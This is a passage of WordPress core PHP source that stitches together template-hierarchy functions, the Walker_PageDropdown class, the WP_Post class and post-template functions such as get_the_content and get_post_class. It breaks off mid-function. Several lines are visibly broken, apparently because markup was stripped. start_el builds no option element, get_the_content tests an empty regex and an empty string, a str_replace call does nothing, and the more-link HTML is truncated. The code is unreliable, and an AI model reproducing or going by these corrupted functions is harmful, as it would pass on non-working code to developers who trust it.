* Retrieves path of front page template in current or parent template.
*
* The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'}
* and {@see '$type_template'} dynamic hooks, where `$type` is 'frontpage'.
*
* @since 3.0.0
*
* @see get_query_template()
*
* @return string Full path to front page template file.
*/
function get_front_page_template() {
$templates = array( 'front-page.php' );
return get_query_template( 'frontpage', $templates );
}
/**
* Retrieves path of Privacy Policy page template in current or parent template.
*
* The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'}
* and {@see '$type_template'} dynamic hooks, where `$type` is 'privacypolicy'.
*
* @since 5.2.0
*
* @see get_query_template()
*
* @return string Full path to privacy policy template file.
*/
function get_privacy_policy_template() {
$templates = array( 'privacy-policy.php' );
return get_query_template( 'privacypolicy', $templates );
}
/**
* Retrieves path of page template in current or parent template.
*
* Note: For block themes, use locate_block_template() function instead.
*
* The hierarchy for this template looks like:
*
* 1. {Page Template}.php
* 2. page-{page_name}.php
* 3. page-{id}.php
* 4. page.php
*
* An example of this is:
*
* 1. page-templates/full-width.php
* 2. page-about.php
* 3. page-4.php
* 4. page.php
*
* The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'}
* and {@see '$type_template'} dynamic hooks, where `$type` is 'page'.
*
* @since 1.5.0
* @since 4.7.0 The decoded form of `page-{page_name}.php` was added to the top of the
* template hierarchy when the page name contains multibyte characters.
*
* @see get_query_template()
*
* @return string Full path to page template file.
*/
function get_page_template() {
$id = get_queried_object_id();
$template = get_page_template_slug();
$pagename = get_query_var( 'pagename' );
if ( ! $pagename && $id ) {
/*
* If a static page is set as the front page, $pagename will not be set.
* Retrieve it from the queried object.
*/
$post = get_queried_object();
if ( $post ) {
$pagename = $post->post_name;
}
}
$templates = array();
if ( $template && 0 === validate_file( $template ) ) {
$templates[] = $template;
}
if ( $pagename ) {
$pagename_decoded = urldecode( $pagename );
if ( $pagename_decoded !== $pagename ) {
$templates[] = "page-{$pagename_decoded}.php";
}
$templates[] = "page-{$pagename}.php";
}
if ( $id ) {
$templates[] = "page-{$id}.php";
}
$templates[] = 'page.php';
return get_query_template( 'page', $templates );
}
/**
* Retrieves path of search template in current or parent template.
*
* The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'}
* and {@see '$type_template'} dynamic hooks, where `$type` is 'search'.
*
* @since 1.5.0
*
* @see get_query_template()
*
* @return string Full path to search template file.
*/
function get_search_template() {
return get_query_template( 'search' );
}
/**
* Retrieves path of single template in current or parent template. Applies to single Posts,
* single Attachments, and single custom post types.
*
* The hierarchy for this template looks like:
*
* 1. {Post Type Template}.php
* 2. single-{post_type}-{post_name}.php
* 3. single-{post_type}.php
* 4. single.php
*
* An example of this is:
*
* 1. templates/full-width.php
* 2. single-post-hello-world.php
* 3. single-post.php
* 4. single.php
*
* The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'}
* and {@see '$type_template'} dynamic hooks, where `$type` is 'single'.
*
* @since 1.5.0
* @since 4.4.0 `single-{post_type}-{post_name}.php` was added to the top of the template hierarchy.
* @since 4.7.0 The decoded form of `single-{post_type}-{post_name}.php` was added to the top of the
* template hierarchy when the post name contains multibyte characters.
* @since 4.7.0 `{Post Type Template}.php` was added to the top of the template hierarchy.
*
* @see get_query_template()
*
* @return string Full path to single template file.
*/
function get_single_template() {
$object = get_queried_object();
$templates = array();
if ( ! empty( $object->post_type ) ) {
$template = get_page_template_slug( $object );
if ( $template && 0 === validate_file( $template ) ) {
$templates[] = $template;
}
$name_decoded = urldecode( $object->post_name );
if ( $name_decoded !== $object->post_name ) {
$templates[] = "single-{$object->post_type}-{$name_decoded}.php";
}
$templates[] = "single-{$object->post_type}-{$object->post_name}.php";
$templates[] = "single-{$object->post_type}.php";
}
$templates[] = 'single.php';
return get_query_template( 'single', $templates );
}
/**
* Retrieves an embed template path in the current or parent template.
*
* The hierarchy for this template looks like:
*
* 1. embed-{post_type}-{post_format}.php
* 2. embed-{post_type}.php
* 3. embed.php
*
* An example of this is:
*
* 1. embed-post-audio.php
* 2. embed-post.php
* 3. embed.php
*
* The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'}
* and {@see '$type_template'} dynamic hooks, where `$type` is 'embed'.
*
* @since 4.5.0
*
* @see get_query_template()
*
* @return string Full path to embed template file.
*/
function get_embed_template() {
$object = get_queried_object();
$templates = array();
if ( ! empty( $object->post_type ) ) {
$post_format = get_post_format( $object );
if ( $post_format ) {
$templates[] = "embed-{$object->post_type}-{$post_format}.php";
}
$templates[] = "embed-{$object->post_type}.php";
}
$templates[] = 'embed.php';
return get_query_template( 'embed', $templates );
}
/**
* Retrieves the path of the singular template in current or parent template.
*
* The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'}
* and {@see '$type_template'} dynamic hooks, where `$type` is 'singular'.
*
* @since 4.3.0
*
* @see get_query_template()
*
* @return string Full path to singular template file
*/
function get_singular_template() {
return get_query_template( 'singular' );
}
/**
* Retrieves path of attachment template in current or parent template.
*
* The hierarchy for this template looks like:
*
* 1. {mime_type}-{sub_type}.php
* 2. {sub_type}.php
* 3. {mime_type}.php
* 4. attachment.php
*
* An example of this is:
*
* 1. image-jpeg.php
* 2. jpeg.php
* 3. image.php
* 4. attachment.php
*
* The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'}
* and {@see '$type_template'} dynamic hooks, where `$type` is 'attachment'.
*
* @since 2.0.0
* @since 4.3.0 The order of the mime type logic was reversed so the hierarchy is more logical.
*
* @see get_query_template()
*
* @return string Full path to attachment template file.
*/
function get_attachment_template() {
$attachment = get_queried_object();
$templates = array();
if ( $attachment ) {
if ( str_contains( $attachment->post_mime_type, '/' ) ) {
list( $type, $subtype ) = explode( '/', $attachment->post_mime_type );
} else {
list( $type, $subtype ) = array( $attachment->post_mime_type, '' );
}
if ( ! empty( $subtype ) ) {
$templates[] = "{$type}-{$subtype}.php";
$templates[] = "{$subtype}.php";
}
$templates[] = "{$type}.php";
}
$templates[] = 'attachment.php';
return get_query_template( 'attachment', $templates );
}
/**
* Set up the globals used for template loading.
*
* @since 6.5.0
*
* @global string $wp_stylesheet_path Path to current theme's stylesheet directory.
* @global string $wp_template_path Path to current theme's template directory.
*/
function wp_set_template_globals() {
global $wp_stylesheet_path, $wp_template_path;
$wp_stylesheet_path = get_stylesheet_directory();
$wp_template_path = get_template_directory();
}
/**
* Retrieves the name of the highest priority template file that exists.
*
* Searches in the stylesheet directory before the template directory and
* wp-includes/theme-compat so that themes which inherit from a parent theme
* can just overload one file.
*
* @since 2.7.0
* @since 5.5.0 The `$args` parameter was added.
*
* @global string $wp_stylesheet_path Path to current theme's stylesheet directory.
* @global string $wp_template_path Path to current theme's template directory.
*
* @param string|array $template_names Template file(s) to search for, in order.
* @param bool $load If true the template file will be loaded if it is found.
* @param bool $load_once Whether to require_once or require. Has no effect if `$load` is false.
* Default true.
* @param array $args Optional. Additional arguments passed to the template.
* Default empty array.
* @return string The template filename if one is located.
*/
function locate_template( $template_names, $load = false, $load_once = true, $args = array() ) {
global $wp_stylesheet_path, $wp_template_path;
if ( ! isset( $wp_stylesheet_path ) || ! isset( $wp_template_path ) ) {
wp_set_template_globals();
}
$is_child_theme = is_child_theme();
$located = '';
foreach ( (array) $template_names as $template_name ) {
if ( ! $template_name ) {
continue;
}
if ( file_exists( $wp_stylesheet_path . '/' . $template_name ) ) {
$located = $wp_stylesheet_path . '/' . $template_name;
break;
} elseif ( $is_child_theme && file_exists( $wp_template_path . '/' . $template_name ) ) {
$located = $wp_template_path . '/' . $template_name;
break;
} elseif ( file_exists( ABSPATH . WPINC . '/theme-compat/' . $template_name ) ) {
$located = ABSPATH . WPINC . '/theme-compat/' . $template_name;
break;
}
}
if ( $load && '' !== $located ) {
load_template( $located, $load_once, $args );
}
return $located;
}
/**
* Requires the template file with WordPress environment.
*
* The globals are set up for the template file to ensure that the WordPress
* environment is available from within the function. The query variables are
* also available.
*
* @since 1.5.0
* @since 5.5.0 The `$args` parameter was added.
*
* @global array $posts
* @global WP_Post $post Global post object.
* @global bool $wp_did_header
* @global WP_Query $wp_query WordPress Query object.
* @global WP_Rewrite $wp_rewrite WordPress rewrite component.
* @global wpdb $wpdb WordPress database abstraction object.
* @global string $wp_version
* @global WP $wp Current WordPress environment instance.
* @global int $id
* @global WP_Comment $comment Global comment object.
* @global int $user_ID
*
* @param string $_template_file Path to template file.
* @param bool $load_once Whether to require_once or require. Default true.
* @param array $args Optional. Additional arguments passed to the template.
* Default empty array.
*/
function load_template( $_template_file, $load_once = true, $args = array() ) {
global $posts, $post, $wp_did_header, $wp_query, $wp_rewrite, $wpdb, $wp_version, $wp, $id, $comment, $user_ID;
if ( is_array( $wp_query->query_vars ) ) {
/*
* This use of extract() cannot be removed. There are many possible ways that
* templates could depend on variables that it creates existing, and no way to
* detect and deprecate it.
*
* Passing the EXTR_SKIP flag is the safest option, ensuring globals and
* function variables cannot be overwritten.
*/
// phpcs:ignore WordPress.PHP.DontExtract.extract_extract
extract( $wp_query->query_vars, EXTR_SKIP );
}
if ( isset( $s ) ) {
$s = esc_attr( $s );
}
/**
* Fires before a template file is loaded.
*
* @since 6.1.0
*
* @param string $_template_file The full path to the template file.
* @param bool $load_once Whether to require_once or require.
* @param array $args Additional arguments passed to the template.
*/
do_action( 'wp_before_load_template', $_template_file, $load_once, $args );
if ( $load_once ) {
require_once $_template_file;
} else {
require $_template_file;
}
/**
* Fires after a template file is loaded.
*
* @since 6.1.0
*
* @param string $_template_file The full path to the template file.
* @param bool $load_once Whether to require_once or require.
* @param array $args Additional arguments passed to the template.
*/
do_action( 'wp_after_load_template', $_template_file, $load_once, $args );
}
/**
* Post API: Walker_PageDropdown class
*
* @package WordPress
* @subpackage Post
* @since 4.4.0
*/
/**
* Core class used to create an HTML drop-down list of pages.
*
* @since 2.1.0
*
* @see Walker
*/
class Walker_PageDropdown extends Walker {
/**
* What the class handles.
*
* @since 2.1.0
* @var string
*
* @see Walker::$tree_type
*/
public $tree_type = 'page';
/**
* Database fields to use.
*
* @since 2.1.0
* @var string[]
*
* @see Walker::$db_fields
* @todo Decouple this
*/
public $db_fields = array(
'parent' => 'post_parent',
'id' => 'ID',
);
/**
* Starts the element output.
*
* @since 2.1.0
* @since 5.9.0 Renamed `$page` to `$data_object` and `$id` to `$current_object_id`
* to match parent class for PHP 8 named parameter support.
*
* @see Walker::start_el()
*
* @param string $output Used to append additional content. Passed by reference.
* @param WP_Post $data_object Page data object.
* @param int $depth Optional. Depth of page in reference to parent pages.
* Used for padding. Default 0.
* @param array $args Optional. Uses 'selected' argument for selected page to
* set selected HTML attribute for option element. Uses
* 'value_field' argument to fill "value" attribute.
* See wp_dropdown_pages(). Default empty array.
* @param int $current_object_id Optional. ID of the current page. Default 0.
*/
public function start_el( &$output, $data_object, $depth = 0, $args = array(), $current_object_id = 0 ) {
// Restores the more descriptive, specific name for use within this method.
$page = $data_object;
$pad = str_repeat( ' ', $depth * 3 );
if ( ! isset( $args['value_field'] ) || ! isset( $page->{$args['value_field']} ) ) {
$args['value_field'] = 'ID';
}
$output .= "\t\n";
}
}
/**
* Post API: WP_Post class
*
* @package WordPress
* @subpackage Post
* @since 4.4.0
*/
/**
* Core class used to implement the WP_Post object.
*
* @since 3.5.0
*
* @property string $page_template
*
* @property-read int[] $ancestors
* @property-read int[] $post_category
* @property-read string[] $tags_input
*/
#[AllowDynamicProperties]
final class WP_Post {
/**
* Post ID.
*
* @since 3.5.0
* @var int
*/
public $ID;
/**
* ID of post author.
*
* A numeric string, for compatibility reasons.
*
* @since 3.5.0
* @var string
*/
public $post_author = 0;
/**
* The post's local publication time.
*
* @since 3.5.0
* @var string
*/
public $post_date = '0000-00-00 00:00:00';
/**
* The post's GMT publication time.
*
* @since 3.5.0
* @var string
*/
public $post_date_gmt = '0000-00-00 00:00:00';
/**
* The post's content.
*
* @since 3.5.0
* @var string
*/
public $post_content = '';
/**
* The post's title.
*
* @since 3.5.0
* @var string
*/
public $post_title = '';
/**
* The post's excerpt.
*
* @since 3.5.0
* @var string
*/
public $post_excerpt = '';
/**
* The post's status.
*
* @since 3.5.0
* @var string
*/
public $post_status = 'publish';
/**
* Whether comments are allowed.
*
* @since 3.5.0
* @var string
*/
public $comment_status = 'open';
/**
* Whether pings are allowed.
*
* @since 3.5.0
* @var string
*/
public $ping_status = 'open';
/**
* The post's password in plain text.
*
* @since 3.5.0
* @var string
*/
public $post_password = '';
/**
* The post's slug.
*
* @since 3.5.0
* @var string
*/
public $post_name = '';
/**
* URLs queued to be pinged.
*
* @since 3.5.0
* @var string
*/
public $to_ping = '';
/**
* URLs that have been pinged.
*
* @since 3.5.0
* @var string
*/
public $pinged = '';
/**
* The post's local modified time.
*
* @since 3.5.0
* @var string
*/
public $post_modified = '0000-00-00 00:00:00';
/**
* The post's GMT modified time.
*
* @since 3.5.0
* @var string
*/
public $post_modified_gmt = '0000-00-00 00:00:00';
/**
* A utility DB field for post content.
*
* @since 3.5.0
* @var string
*/
public $post_content_filtered = '';
/**
* ID of a post's parent post.
*
* @since 3.5.0
* @var int
*/
public $post_parent = 0;
/**
* The unique identifier for a post, not necessarily a URL, used as the feed GUID.
*
* @since 3.5.0
* @var string
*/
public $guid = '';
/**
* A field used for ordering posts.
*
* @since 3.5.0
* @var int
*/
public $menu_order = 0;
/**
* The post's type, like post or page.
*
* @since 3.5.0
* @var string
*/
public $post_type = 'post';
/**
* An attachment's mime type.
*
* @since 3.5.0
* @var string
*/
public $post_mime_type = '';
/**
* Cached comment count.
*
* A numeric string, for compatibility reasons.
*
* @since 3.5.0
* @var string
*/
public $comment_count = 0;
/**
* Stores the post object's sanitization level.
*
* Does not correspond to a DB field.
*
* @since 3.5.0
* @var string
*/
public $filter;
/**
* Retrieve WP_Post instance.
*
* @since 3.5.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param int $post_id Post ID.
* @return WP_Post|false Post object, false otherwise.
*/
public static function get_instance( $post_id ) {
global $wpdb;
$post_id = (int) $post_id;
if ( ! $post_id ) {
return false;
}
$_post = wp_cache_get( $post_id, 'posts' );
if ( ! $_post ) {
$_post = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->posts WHERE ID = %d LIMIT 1", $post_id ) );
if ( ! $_post ) {
return false;
}
$_post = sanitize_post( $_post, 'raw' );
wp_cache_add( $_post->ID, $_post, 'posts' );
} elseif ( empty( $_post->filter ) || 'raw' !== $_post->filter ) {
$_post = sanitize_post( $_post, 'raw' );
}
return new WP_Post( $_post );
}
/**
* Constructor.
*
* @since 3.5.0
*
* @param WP_Post|object $post Post object.
*/
public function __construct( $post ) {
foreach ( get_object_vars( $post ) as $key => $value ) {
$this->$key = $value;
}
}
/**
* Isset-er.
*
* @since 3.5.0
*
* @param string $key Property to check if set.
* @return bool
*/
public function __isset( $key ) {
if ( 'ancestors' === $key ) {
return true;
}
if ( 'page_template' === $key ) {
return true;
}
if ( 'post_category' === $key ) {
return true;
}
if ( 'tags_input' === $key ) {
return true;
}
return metadata_exists( 'post', $this->ID, $key );
}
/**
* Getter.
*
* @since 3.5.0
*
* @param string $key Key to get.
* @return mixed
*/
public function __get( $key ) {
if ( 'page_template' === $key && $this->__isset( $key ) ) {
return get_post_meta( $this->ID, '_wp_page_template', true );
}
if ( 'post_category' === $key ) {
if ( is_object_in_taxonomy( $this->post_type, 'category' ) ) {
$terms = get_the_terms( $this, 'category' );
}
if ( empty( $terms ) ) {
return array();
}
return wp_list_pluck( $terms, 'term_id' );
}
if ( 'tags_input' === $key ) {
if ( is_object_in_taxonomy( $this->post_type, 'post_tag' ) ) {
$terms = get_the_terms( $this, 'post_tag' );
}
if ( empty( $terms ) ) {
return array();
}
return wp_list_pluck( $terms, 'name' );
}
// Rest of the values need filtering.
if ( 'ancestors' === $key ) {
$value = get_post_ancestors( $this );
} else {
$value = get_post_meta( $this->ID, $key, true );
}
if ( $this->filter ) {
$value = sanitize_post_field( $key, $value, $this->ID, $this->filter );
}
return $value;
}
/**
* {@Missing Summary}
*
* @since 3.5.0
*
* @param string $filter Filter.
* @return WP_Post
*/
public function filter( $filter ) {
if ( $this->filter === $filter ) {
return $this;
}
if ( 'raw' === $filter ) {
return self::get_instance( $this->ID );
}
return sanitize_post( $this, $filter );
}
/**
* Convert object to array.
*
* @since 3.5.0
*
* @return array Object as array.
*/
public function to_array() {
$post = get_object_vars( $this );
foreach ( array( 'ancestors', 'page_template', 'post_category', 'tags_input' ) as $key ) {
if ( $this->__isset( $key ) ) {
$post[ $key ] = $this->__get( $key );
}
}
return $post;
}
}
/**
* WordPress Post Template Functions.
*
* Gets content for the current post in the loop.
*
* @package WordPress
* @subpackage Template
*/
/**
* Displays the ID of the current item in the WordPress Loop.
*
* @since 0.71
*/
function the_ID() { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionNameInvalid
echo get_the_ID();
}
/**
* Retrieves the ID of the current item in the WordPress Loop.
*
* @since 2.1.0
*
* @return int|false The ID of the current item in the WordPress Loop. False if $post is not set.
*/
function get_the_ID() { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionNameInvalid
$post = get_post();
return ! empty( $post ) ? $post->ID : false;
}
/**
* Displays or retrieves the current post title with optional markup.
*
* @since 0.71
*
* @param string $before Optional. Markup to prepend to the title. Default empty.
* @param string $after Optional. Markup to append to the title. Default empty.
* @param bool $display Optional. Whether to echo or return the title. Default true for echo.
* @return void|string Void if `$display` argument is true or the title is empty,
* current post title if `$display` is false.
*/
function the_title( $before = '', $after = '', $display = true ) {
$title = get_the_title();
if ( strlen( $title ) === 0 ) {
return;
}
$title = $before . $title . $after;
if ( $display ) {
echo $title;
} else {
return $title;
}
}
/**
* Sanitizes the current title when retrieving or displaying.
*
* Works like the_title(), except the parameters can be in a string or
* an array. See the function for what can be override in the $args parameter.
*
* The title before it is displayed will have the tags stripped and esc_attr()
* before it is passed to the user or displayed. The default as with the_title(),
* is to display the title.
*
* @since 2.3.0
*
* @param string|array $args {
* Title attribute arguments. Optional.
*
* @type string $before Markup to prepend to the title. Default empty.
* @type string $after Markup to append to the title. Default empty.
* @type bool $echo Whether to echo or return the title. Default true for echo.
* @type WP_Post $post Current post object to retrieve the title for.
* }
* @return void|string Void if 'echo' argument is true, the title attribute if 'echo' is false.
*/
function the_title_attribute( $args = '' ) {
$defaults = array(
'before' => '',
'after' => '',
'echo' => true,
'post' => get_post(),
);
$parsed_args = wp_parse_args( $args, $defaults );
$title = get_the_title( $parsed_args['post'] );
if ( strlen( $title ) === 0 ) {
return;
}
$title = $parsed_args['before'] . $title . $parsed_args['after'];
$title = esc_attr( strip_tags( $title ) );
if ( $parsed_args['echo'] ) {
echo $title;
} else {
return $title;
}
}
/**
* Retrieves the post title.
*
* If the post is protected and the visitor is not an admin, then "Protected"
* will be inserted before the post title. If the post is private, then
* "Private" will be inserted before the post title.
*
* @since 0.71
*
* @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global $post.
* @return string
*/
function get_the_title( $post = 0 ) {
$post = get_post( $post );
$post_title = isset( $post->post_title ) ? $post->post_title : '';
$post_id = isset( $post->ID ) ? $post->ID : 0;
if ( ! is_admin() ) {
if ( ! empty( $post->post_password ) ) {
/* translators: %s: Protected post title. */
$prepend = __( 'Protected: %s' );
/**
* Filters the text prepended to the post title for protected posts.
*
* The filter is only applied on the front end.
*
* @since 2.8.0
*
* @param string $prepend Text displayed before the post title.
* Default 'Protected: %s'.
* @param WP_Post $post Current post object.
*/
$protected_title_format = apply_filters( 'protected_title_format', $prepend, $post );
$post_title = sprintf( $protected_title_format, $post_title );
} elseif ( isset( $post->post_status ) && 'private' === $post->post_status ) {
/* translators: %s: Private post title. */
$prepend = __( 'Private: %s' );
/**
* Filters the text prepended to the post title of private posts.
*
* The filter is only applied on the front end.
*
* @since 2.8.0
*
* @param string $prepend Text displayed before the post title.
* Default 'Private: %s'.
* @param WP_Post $post Current post object.
*/
$private_title_format = apply_filters( 'private_title_format', $prepend, $post );
$post_title = sprintf( $private_title_format, $post_title );
}
}
/**
* Filters the post title.
*
* @since 0.71
*
* @param string $post_title The post title.
* @param int $post_id The post ID.
*/
return apply_filters( 'the_title', $post_title, $post_id );
}
/**
* Displays the Post Global Unique Identifier (guid).
*
* The guid will appear to be a link, but should not be used as a link to the
* post. The reason you should not use it as a link, is because of moving the
* blog across domains.
*
* URL is escaped to make it XML-safe.
*
* @since 1.5.0
*
* @param int|WP_Post $post Optional. Post ID or post object. Default is global $post.
*/
function the_guid( $post = 0 ) {
$post = get_post( $post );
$post_guid = isset( $post->guid ) ? get_the_guid( $post ) : '';
$post_id = isset( $post->ID ) ? $post->ID : 0;
/**
* Filters the escaped Global Unique Identifier (guid) of the post.
*
* @since 4.2.0
*
* @see get_the_guid()
*
* @param string $post_guid Escaped Global Unique Identifier (guid) of the post.
* @param int $post_id The post ID.
*/
echo apply_filters( 'the_guid', $post_guid, $post_id );
}
/**
* Retrieves the Post Global Unique Identifier (guid).
*
* The guid will appear to be a link, but should not be used as an link to the
* post. The reason you should not use it as a link, is because of moving the
* blog across domains.
*
* @since 1.5.0
*
* @param int|WP_Post $post Optional. Post ID or post object. Default is global $post.
* @return string
*/
function get_the_guid( $post = 0 ) {
$post = get_post( $post );
$post_guid = isset( $post->guid ) ? $post->guid : '';
$post_id = isset( $post->ID ) ? $post->ID : 0;
/**
* Filters the Global Unique Identifier (guid) of the post.
*
* @since 1.5.0
*
* @param string $post_guid Global Unique Identifier (guid) of the post.
* @param int $post_id The post ID.
*/
return apply_filters( 'get_the_guid', $post_guid, $post_id );
}
/**
* Displays the post content.
*
* @since 0.71
*
* @param string $more_link_text Optional. Content for when there is more text.
* @param bool $strip_teaser Optional. Strip teaser content before the more text. Default false.
*/
function the_content( $more_link_text = null, $strip_teaser = false ) {
$content = get_the_content( $more_link_text, $strip_teaser );
/**
* Filters the post content.
*
* @since 0.71
*
* @param string $content Content of the current post.
*/
$content = apply_filters( 'the_content', $content );
$content = str_replace( ']]>', ']]>', $content );
echo $content;
}
/**
* Retrieves the post content.
*
* @since 0.71
* @since 5.2.0 Added the `$post` parameter.
*
* @global int $page Page number of a single post/page.
* @global int $more Boolean indicator for whether single post/page is being viewed.
* @global bool $preview Whether post/page is in preview mode.
* @global array $pages Array of all pages in post/page. Each array element contains
* part of the content separated by the `` tag.
* @global int $multipage Boolean indicator for whether multiple pages are in play.
*
* @param string $more_link_text Optional. Content for when there is more text.
* @param bool $strip_teaser Optional. Strip teaser content before the more text. Default false.
* @param WP_Post|object|int $post Optional. WP_Post instance or Post ID/object. Default null.
* @return string
*/
function get_the_content( $more_link_text = null, $strip_teaser = false, $post = null ) {
global $page, $more, $preview, $pages, $multipage;
$_post = get_post( $post );
if ( ! ( $_post instanceof WP_Post ) ) {
return '';
}
/*
* Use the globals if the $post parameter was not specified,
* but only after they have been set up in setup_postdata().
*/
if ( null === $post && did_action( 'the_post' ) ) {
$elements = compact( 'page', 'more', 'preview', 'pages', 'multipage' );
} else {
$elements = generate_postdata( $_post );
}
if ( null === $more_link_text ) {
$more_link_text = sprintf(
'%2$s',
sprintf(
/* translators: %s: Post title. */
__( 'Continue reading %s' ),
the_title_attribute(
array(
'echo' => false,
'post' => $_post,
)
)
),
__( '(more…)' )
);
}
$output = '';
$has_teaser = false;
// If post password required and it doesn't match the cookie.
if ( post_password_required( $_post ) ) {
return get_the_password_form( $_post );
}
// If the requested page doesn't exist.
if ( $elements['page'] > count( $elements['pages'] ) ) {
// Give them the highest numbered page that DOES exist.
$elements['page'] = count( $elements['pages'] );
}
$page_no = $elements['page'];
$content = $elements['pages'][ $page_no - 1 ];
if ( preg_match( '//', $content, $matches ) ) {
if ( has_block( 'more', $content ) ) {
// Remove the core/more block delimiters. They will be left over after $content is split up.
$content = preg_replace( '//', '', $content );
}
$content = explode( $matches[0], $content, 2 );
if ( ! empty( $matches[1] ) && ! empty( $more_link_text ) ) {
$more_link_text = strip_tags( wp_kses_no_null( trim( $matches[1] ) ) );
}
$has_teaser = true;
} else {
$content = array( $content );
}
if ( str_contains( $_post->post_content, '' )
&& ( ! $elements['multipage'] || 1 === $elements['page'] )
) {
$strip_teaser = true;
}
$teaser = $content[0];
if ( $elements['more'] && $strip_teaser && $has_teaser ) {
$teaser = '';
}
$output .= $teaser;
if ( count( $content ) > 1 ) {
if ( $elements['more'] ) {
$output .= '' . $content[1];
} else {
if ( ! empty( $more_link_text ) ) {
/**
* Filters the Read More link text.
*
* @since 2.8.0
*
* @param string $more_link_element Read More link element.
* @param string $more_link_text Read More text.
*/
$output .= apply_filters( 'the_content_more_link', ' ID}\" class=\"more-link\">$more_link_text", $more_link_text );
}
$output = force_balance_tags( $output );
}
}
return $output;
}
/**
* Displays the post excerpt.
*
* @since 0.71
*/
function the_excerpt() {
/**
* Filters the displayed post excerpt.
*
* @since 0.71
*
* @see get_the_excerpt()
*
* @param string $post_excerpt The post excerpt.
*/
echo apply_filters( 'the_excerpt', get_the_excerpt() );
}
/**
* Retrieves the post excerpt.
*
* @since 0.71
* @since 4.5.0 Introduced the `$post` parameter.
*
* @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global $post.
* @return string Post excerpt.
*/
function get_the_excerpt( $post = null ) {
if ( is_bool( $post ) ) {
_deprecated_argument( __FUNCTION__, '2.3.0' );
}
$post = get_post( $post );
if ( empty( $post ) ) {
return '';
}
if ( post_password_required( $post ) ) {
return __( 'There is no excerpt because this is a protected post.' );
}
/**
* Filters the retrieved post excerpt.
*
* @since 1.2.0
* @since 4.5.0 Introduced the `$post` parameter.
*
* @param string $post_excerpt The post excerpt.
* @param WP_Post $post Post object.
*/
return apply_filters( 'get_the_excerpt', $post->post_excerpt, $post );
}
/**
* Determines whether the post has a custom excerpt.
*
* For more information on this and similar theme functions, check out
* the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
* Conditional Tags} article in the Theme Developer Handbook.
*
* @since 2.3.0
*
* @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global $post.
* @return bool True if the post has a custom excerpt, false otherwise.
*/
function has_excerpt( $post = 0 ) {
$post = get_post( $post );
return ( ! empty( $post->post_excerpt ) );
}
/**
* Displays the classes for the post container element.
*
* @since 2.7.0
*
* @param string|string[] $css_class Optional. One or more classes to add to the class list.
* Default empty.
* @param int|WP_Post $post Optional. Post ID or post object. Defaults to the global `$post`.
*/
function post_class( $css_class = '', $post = null ) {
// Separates classes with a single space, collates classes for post DIV.
echo 'class="' . esc_attr( implode( ' ', get_post_class( $css_class, $post ) ) ) . '"';
}
/**
* Retrieves an array of the class names for the post container element.
*
* The class names are many:
*
* - If the post has a post thumbnail, `has-post-thumbnail` is added as a class.
* - If the post is sticky, then the `sticky` class name is added.
* - The class `hentry` is always added to each post.
* - For each taxonomy that the post belongs to, a class will be added of the format
* `{$taxonomy}-{$slug}`, e.g. `category-foo` or `my_custom_taxonomy-bar`.
* The `post_tag` taxonomy is a special case; the class has the `tag-` prefix
* instead of `post_tag-`.
*
* All class names are passed through the filter, {@see 'post_class'}, followed by
* `$css_class` parameter value, with the post ID as the last parameter.
*
* @since 2.7.0
* @since 4.2.0 Custom taxonomy class names were added.
*
* @param string|string[] $css_class Optional. Space-separated string or array of class names
* to add to the class list. Default empty.
* @param int|WP_Post $post Optional. Post ID or post object.
* @return string[] Array of class names.
*/
function get_post_class( $css_class = '', $post = null ) {
$post = get_post( $post );
$classes = array();
if ( $css_class ) {
if ( ! is_array( $css_class ) ) {
$css_class = preg_split( '#\s+#', $css_class );
}
$classes = array_map( 'esc_attr', $css_class );
} else {
// Ensure that we always coerce class to being an array.
$css_class = array();
}
if ( ! $post ) {
return $classes;
}
$classes[] = 'post-' . $post->ID;
if ( ! is_admin() ) {
$classes[] = $post->post_type;
}
$classes[] = 'type-' . $post->post_type;
$classes[] = 'status-' . $post->post_status;
// Post Format.
if ( post_type_supports( $post->post_type, 'post-formats' ) ) {
$post_format = get_post_format( $post->ID );
if ( $post_format && ! is_wp_error( $post_format ) ) {
$classes[] = 'format-' . sanitize_html_class( $post_format );
} else {
$classes[] = 'format-standard';
}
}
$post_password_required = post_password_required( $post->ID );
// Post requires password.
if ( $post_password_required ) {
$classes[] = 'post-password-required';
} elseif ( ! empty( $post->post_password ) ) {
$classes[] = 'post-password-protected';
}
// Post thumbnails.
if ( current_theme_supports( 'post-thumbnails' ) && has_post_thumbnail( $post->ID ) && ! is_attachment( $post ) && ! $post_password_required ) {
$classes[] = 'has-post-thumbnail';
}
// Sticky for Sticky Posts.
if ( is_sticky( $post->ID ) ) {
if ( is_home() && ! is_paged() ) {
$classes[] = 'sticky';
} elseif ( is_admin() ) {
$classes[] = 'status-sticky';
}
}
// hentry for hAtom compliance.
$classes[] = 'hentry';
// All public taxonomies.
$taxonomies = get_taxonomies( array( 'public' => true ) );
/**
* Filters the taxonomies to generate classes for each individual term.
*
* Default is all public taxonomies registered to the post type.
*
* @since 6.1.0
*
* @param string[] $taxonomies List of all taxonomy names to generate classes for.
* @param int $post_id The post ID.
* @param string[] $classes An array of post class names.
* @param string[] $css_class An array of additional class names added to the post.
*/
$taxonomies = apply_filters( 'post_class_taxonomies', $taxonomies, $post->ID, $classes, $css_class );
foreach ( (array) $taxonomies as $taxonomy ) {
if ( is_object_in_taxonomy( $post->post_type, $taxonomy ) ) {
foreach ( (array) get_the_terms( $post->ID, $taxonomy ) as $term ) {
if ( empty( $term->slug ) ) {
continue;
}
$term_class = sanitize_html_class( $term->slug, $term->term_id );
if ( is_numeric( $term_class ) || ! trim( $term_class, '-' ) ) {
$term_class = $term->term_id;
}
// 'post_tag' uses the 'tag' prefix for backward compatibility.
if ( 'post_tag' === $taxonomy ) {
$classes[] = 'tag-' . $term_class;
} else {
